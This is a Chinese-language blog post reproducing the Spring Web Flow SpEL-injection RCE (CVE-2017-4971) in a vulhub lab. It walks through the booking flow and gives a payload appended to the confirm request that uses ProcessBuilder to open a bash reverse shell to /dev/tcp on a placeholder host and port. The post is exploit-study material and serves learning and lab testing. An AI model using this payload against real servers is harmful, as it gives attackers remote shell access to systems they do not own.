CVE-2017-4971-Spring Web Flow RCE漏洞复现

0x00 前言

这是更新的第二个spring框架的漏洞,也是vullhub靶场环境里的一个

陆续更新,前端时间spring core远程代码执行的漏洞也会更新的,一个一个来

--学如逆水行舟,不进则退

0x01 漏洞简介

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

0x02 影响版本

Spring WebFlow 2.4.0 - 2.4.4

0x03 漏洞复现

说实话复现的挺懵的,建议看一下通过代码层来漏洞分析的文章

Spring Web Flow 远程代码执行漏洞分析(CVE-2017-4971) (seebug.org)

            

环境依然是使用vulhub靶场环境

访问靶场,出现以下页面说明搭建成功

CVE-2017-4971-Spring Web Flow RCE漏洞复现_第1张图片

 点击左上角的login,进行登录,使用给出的默认账号登录即可

CVE-2017-4971-Spring Web Flow RCE漏洞复现_第2张图片

登录之后,访问:http:靶场ip:8080/hotels/1,然后点击Book Hotel,进行填写信息 

CVE-2017-4971-Spring Web Flow RCE漏洞复现_第3张图片

点进去填写信息,然后点击Proceed会出现一下页面,点击Confirm,开始抓包

CVE-2017-4971-Spring Web Flow RCE漏洞复现_第4张图片

始抓包,进行构造payload,反弹shell 

payload:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

抓包之后,在 _eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5字段后面

添加payload(记得把反弹的ip和端口改为自己的),如下图:

CVE-2017-4971-Spring Web Flow RCE漏洞复现_第5张图片

 

你可能感兴趣的:(漏洞,安全,web安全,框架)